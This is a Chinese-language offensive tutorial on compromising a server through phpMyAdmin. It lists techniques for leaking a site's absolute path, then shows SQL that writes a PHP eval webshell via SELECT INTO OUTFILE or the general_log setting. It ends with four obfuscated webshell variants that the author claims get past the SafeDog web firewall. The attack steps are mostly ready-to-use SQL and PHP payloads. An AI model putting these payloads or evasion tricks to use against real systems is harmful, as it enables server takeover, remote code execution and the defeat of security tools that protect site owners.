phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。
在对目标进行信息收集时,若存在phpMyAdmin目录,尝试通过弱口令或者暴力破解进入数据库,之后进一步getShell。
pkij
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。
单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)
且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning
和fatal error
。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()
。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
phpmyadmin爆路径
一旦找到phpMyAdmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpMyAdmin的地址可以用AppScan这类的工具去扫,也可以选择Google。
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
配置文件找路径
如果注入点有文件读取权限,就可以手工load_file
或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
Nginx文件类型错误解析爆路径
说明: 要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php
最基础的getShell方法是写入一句话木马
select '<?php eval($_POST[cmd]); ?>' into outfile '网站物理路径';
在新版本MySQL中如果直接执行这句话是肯定报错的,因为在新版本中默认设置了 secure_file_priv
限制了SQL文件导入导出
#1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
在写入一句话木马前,我们需先对读写权限进行检查,看看能否支持写入一句话
secure_file_priv
会对读写文件产生影响,该参数用来限制导入导出。查询语句
show global variables like '%secure%';
查询结果
Variable_name Value
secure_auth OFF
secure_file_priv NULL
secure-file-priv特性
secure-file-priv
参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
secure_file_priv
的值为null
,表示限制MySQL 不允许导入|导出secure_file_priv
的值为/tmp/
,表示限制MySQL 的导入|导出只能发生在/tmp/目录下secure_file_priv
的值没有具体值时,表示不对 MySQL 的导入|导出做限制要想使得该语句导出成功,则需要在MySQL文件夹下修改 my.ini
文件,
在[mysqld]
下加入以下内容,然后重启MySQL即可
secure_auth = ON
secure_file_priv =
更改后配置后,再进行导入一句话
SQL语句
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpstudy/www/shell.php'
执行结果
您的 SQL 语句已成功运行 ( 查询花费 0.0010 秒 )
然后使用工具菜刀或者冰蝎连接
MySQL 5.0
版本以上会创建日志文件,修改日志的全局变量,也可以getShell。但是也要对生成的日志有可读可写的权限。
提示:在linux环境下可能会存在权限问题,无法执行成功,本次实验在windows环境下进行。
查看日志状态
SQL语句
show variables like '%general%';
执行结果
general_log OFF
general_log_file C:\phpStudy\MySQL\data\lucky-PC.log
当开启general时,所执行的SQL语句都会出现在lucky-PC.log
文件
如果修改general_log
与general_log_file
的值,那么所执行的SQL语句就会对应生成,从而getShell
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='C:/phpStudy/www/shell_log.php'
将一句话木马写入shell.log.php
文件,执行SQL语句
SELECT '<?php eval($_POST["cmd"]);?>'
此时可以看到在网站目录下生成了shell_log.php
文件
再用工具连接成功
测试环境: 安全狗 Apache:V4.0 点击下载
安装时可能遇到无法找到服务名问题,点击查看问题解决
安全狗测试: 检测一下上述实验的两个一句话木马shell文件,很容易被检测出来了。
1. 简易一句话木马
<?php eval($_POST["cmd"]); ?>
这样写容易被安全狗这些拦截,所以可以考虑替换某些函数,比如
eval()
换成assert()
或者reate_function()
或者是call_user_func()
。
2. 字符拼接加双美元符
<?php
$a='ass';
$b='ert';
$funcName=$a.$b;
$x='funcName';
$$x($_REQUEST['a']);
?>
3. 用函数强行分割
<?php
function a($a){
return $a;}
eval (a($_REQUEST)['a']);
?>
4. 用类分割
<?php
class User
{public $name=' ';
function __destruct(){
eval("$this->name");
}
}
$user=new User;
$user->name=' '.$_REQUEST['a'];
?>
以上总结的一句话,经过测试,除了第1种简易一句话,其余3种均可以绕过安全狗。